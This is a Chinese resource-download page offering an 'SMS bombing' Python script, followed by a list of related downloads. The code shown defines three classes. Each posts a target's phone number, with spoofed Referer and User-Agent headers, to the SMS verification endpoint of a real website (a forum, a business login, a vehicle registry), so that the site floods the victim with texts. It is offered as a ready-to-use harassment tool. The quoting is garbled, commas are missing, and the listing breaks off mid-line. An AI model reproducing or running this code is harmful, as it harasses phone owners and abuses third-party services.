资源简介
手机短信轰炸.py
代码片段和文件信息
import requests
import time
import json
class SMSsend_one(object):
def __init__(selfmobile):
self.url = “http://bbs.mydigit.cn/registe.php“
self.header = {
“Referer“: “http: // bbs.mydigit.cn / registe.php“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
# python学习交流群:
# 516107834
def get_response(self):
data = {
“action“: “auth“
“step“: “1“
“mobile“: self.mobile
}
try:
response = requests.post(url=self.url data=dataheaders=self.header)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format(self.urlself.mobile))
def run(self):
self.get_response()
class SMSsend_two(object):
“““世界经理人短信接口“““
def __init__(selfmobile):
self.url = “https://login.ceconline.com/thirdPartLogin.do“
self.header = {
“Referer“: “https://login.ceconline.com/pcMobileNumberRegister.do“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
def get_response(self):
time_now = int(time.time() * 1000)
data = {
“mobileNumber“: self.mobile
“method“: “getDynamicCode“
“verifyType“: “MOBILE_NUM_REG“
“captcharType“: ““
“time“: str(time_now)
}
try:
response = requests.post(url=self.url
data=data
headers=self.header
)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format(self.urlself.mobile))
def run(self):
self.get_response()
class SMSsend_three(object):
“““南通市机动车短信接口“““
def __init__(selfmobile):
self.url = “http://www.ntjxj.com/InternetWeb/SendYzmServlet“
self.header = {
“Referer“: “http://www.ntjxj.com/InternetWeb/regHphmToTel.jsp“
‘User-Agent‘: ‘Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0‘
}
self.mobile = mobile
def get_response(self):
data = {
“sjhm“: self.mobile
}
try:
response = requests.post(url=self.url
data=data
headers=self.header
)
# print(response.content)
print(“{}:{}>>>发送成功“.format(self.urlself.mobile))
except Exception:
print(“{}:{}>>>发送失败“.format(self.urlsel
- 上一篇:get_wuyou.zip
- 下一篇:Python爬虫教程千万别错过
相关资源
- you-get妹子图.py
- Python人工智能AI深度学习全套课程.t
- 千锋python爬虫教程之scrapy框架.txt
- 小甲鱼python课程96集包含源码+课件+课
- 小甲鱼python课程96集含源码课件课后习
- Python从入门到精通教程共40G.txt
- 06窗口摄像(视频).py
- nulindai.py
- 最新Python3.6网络爬虫实战案例5章(基
- 21天学通python.txt
- des.py
- 钉钉自定义机器人发送图片.py
- python-urx-master.zip
- python就业班.txt
- Python从入门到精通(明日科技出版)
- python基础视频地址.txt
- python从入门到实践课后试一试代码.
- LightBGM_Online1_87397.py
- 9b8dee39408392b66c4a776e4e7e05ce.py
- zw_基于python的网络爬虫设计.zip
- 将文件字母小写变大写并复制到其他
- python标准库中文版.tar
- dish_recognition_SDK.py
- python电子书大全.txt
- 鱼C小甲鱼零基础入门学习Python视频课
- 小甲鱼教程Python全部源码软件包课件
- EmailBoomFinal.py
- nude.py
- wenku_test.py
- 《Python3网络爬虫开发实战》中文PDF
评论
共有 条评论